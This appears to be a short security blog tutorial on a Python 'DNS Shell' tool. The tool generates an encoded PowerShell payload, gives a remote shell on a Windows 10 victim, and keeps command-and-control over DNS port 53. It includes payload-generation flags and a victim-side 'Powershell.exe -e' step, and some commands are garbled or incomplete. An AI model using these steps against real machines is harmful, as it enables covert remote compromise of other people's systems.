Post Exploitation

DNS Shell – Tool to Compromise and Maintain control Over Victim Machine

DNS protocol runs on the application layer of TCP/IP Model. When an attacker or pentester tries to exploit DNS with RCE vulnerability (Remote Command Execution) destination server acts as the backdoor.
DNS Shell Tool is python based exploitation tool to compromise and also maintaining the access via command and control to the server.
Here we have used Kali Linux(Attacker Machine) and Victim Machine (Windows 10)


  • Download the DNS SHELL tool HERE
  • Execute the command: python

It can be utilized with different modes, Recursive mode (It will run the DNS name) and Direct mode will run as Ip address provided (Kali Linux IP)

Generating Payload – DNS Shell

Recursive Command – Python -l -r <Domain Name>
Direct command – Python -l -d

Victims Machine

  • Run & Execute the Command with CMD: Powershell.exe -e <Copy and paste the Generated Payload HERE>


  • Once the payload is executed in victims machine. Shell of Windows 10 machine is obtained.

  • Above Figure shows destination (windows 10) now acts as backdoor and command is entered and turns to Convert Channel to over port 53 of DNS.

About the author


Add Comment

Click here to post a comment